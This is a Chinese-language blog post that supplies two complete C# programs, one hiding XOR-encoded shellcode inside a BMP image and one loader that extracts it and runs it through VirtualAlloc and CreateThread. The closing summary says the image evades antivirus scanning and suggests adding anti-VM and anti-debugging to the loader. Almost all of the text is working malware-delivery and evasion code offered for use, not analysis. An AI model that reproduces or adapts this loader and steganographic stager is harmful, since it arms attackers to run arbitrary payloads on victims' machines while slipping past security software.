写入shellcode(C#):
using System; using System.IO; class Program { private static bool IsBmpFile(string filePath) { try { using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) using (BinaryReader reader = new BinaryReader(stream)) { string fileclass = ""; for (int i = 0; i < 2; i++) { fileclass += reader.ReadByte().ToString("X2"); } return fileclass == "424D"; // 'BM' in hex } } catch (Exception ex) { Console.WriteLine($"[!] Error reading file: {ex.Message}"); return false; } } static void Main(string[] args) { string Image_File = "test.bmp"; // Update this to your BMP file path byte[] shellcode = new byte[893] { your shellcode }; if (!IsBmpFile(Image_File)) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[!] Error: Not a valid BMP file."); return; } byte[] xBmp_Temp = File.ReadAllBytes(Image_File); if (xBmp_Temp.Length < (shellcode.Length + 54)) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!"); return; } int start = xBmp_Temp.Length - shellcode.Length; for (int i = 0; i < shellcode.Length; i++) { byte t = (byte)(shellcode[i] ^ 0x99); xBmp_Temp[start + i] = t; if (i == 0) { Console.Write("[>] Injecting Encoded Shellcode (length {0}) : ", shellcode.Length); } if (i <= 16) { Console.Write($"{t:X2} "); } } using (FileStream fs = new FileStream(Image_File, FileMode.Open, FileAccess.Read)) { byte[] array = new byte[4]; fs.Seek(18, SeekOrigin.Begin); fs.Read(array, 0, 4); int width = BitConverter.ToInt32(array, 0); fs.Seek(22, SeekOrigin.Begin); fs.Read(array, 0, 4); int height = BitConverter.ToInt32(array, 0); int line = (shellcode.Length % width == 0) ? (shellcode.Length / width) : (shellcode.Length / width + 1); int new_height = height - line; byte[] intBuff = BitConverter.GetBytes(new_height); for (int i = 0; i < 4; i++) { xBmp_Temp[22 + i] = intBuff[i]; } intBuff = BitConverter.GetBytes(shellcode.Length); for (int i = 0; i < 4; i++) { xBmp_Temp[2 + i] = intBuff[i]; } } string out_path = Path.Combine(Environment.CurrentDirectory, "payload.bmp"); File.WriteAllBytes(out_path, xBmp_Temp); Console.WriteLine($"\n[+] Shellcode injected successfully and saved to {out_path}"); } }
loader加载器:
using System; using System.IO; using System.Runtime.InteropServices; class Program { [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); private static bool IsBmpFile(string filePath) { try { using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) using (BinaryReader reader = new BinaryReader(stream)) { string fileclass = ""; for (int i = 0; i < 2; i++) { fileclass += reader.ReadByte().ToString("X2"); } return fileclass == "424D"; // 'BM' in hex } } catch (Exception ex) { Console.WriteLine($"[!] Error reading file: {ex.Message}"); return false; } } static void Main(string[] args) { string Image_File = "payload.bmp"; // Update this to your modified BMP file path if (!IsBmpFile(Image_File)) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[!] Error: Not a valid BMP file."); return; } byte[] xBmp_Temp = File.ReadAllBytes(Image_File); // Extract the payload length from the BMP header int payloadLength = BitConverter.ToInt32(xBmp_Temp, 2); if (xBmp_Temp.Length < (payloadLength + 54)) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[!] Error: The BMP file does not contain a valid payload."); return; } int start = xBmp_Temp.Length - payloadLength; byte[] extractedPayload = new byte[payloadLength]; for (int i = 0; i < payloadLength; i++) { extractedPayload[i] = (byte)(xBmp_Temp[start + i] ^ 0x99); } // Store the extracted shellcode in a variable for later use byte[] shellcode = extractedPayload; Console.Write("[>] Extracted Shellcode (length {0}) : ", payloadLength); for (int i = 0; i < shellcode.Length; i++) { Console.Write($"{shellcode[i]:X2} "); if ((i + 1) % 16 == 0) { Console.WriteLine(); } } try { // Allocate memory and execute the shellcode UInt32 MEM_COMMIT = 0x1000; UInt32 PAGE_EXECUTE_READWRITE = 0x40; IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (funcAddr == IntPtr.Zero) { throw new Exception("VirtualAlloc failed"); } Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, ref threadId); if (hThread == IntPtr.Zero) { throw new Exception("CreateThread failed"); } WaitForSingleObject(hThread, 0xFFFFFFFF); } catch (Exception ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"[!] Error executing shellcode: {ex.Message}"); } } }
总结
图片基本是查杀不到,而loader调用了一些接口会被安全软件进行动调,需要加上一些对抗虚拟机和反动调。
标签:IntPtr,Console,免杀,隐写,Length,byte,shellcode,UInt32 From: https://www.cnblogs.com/trymonoly/p/18290675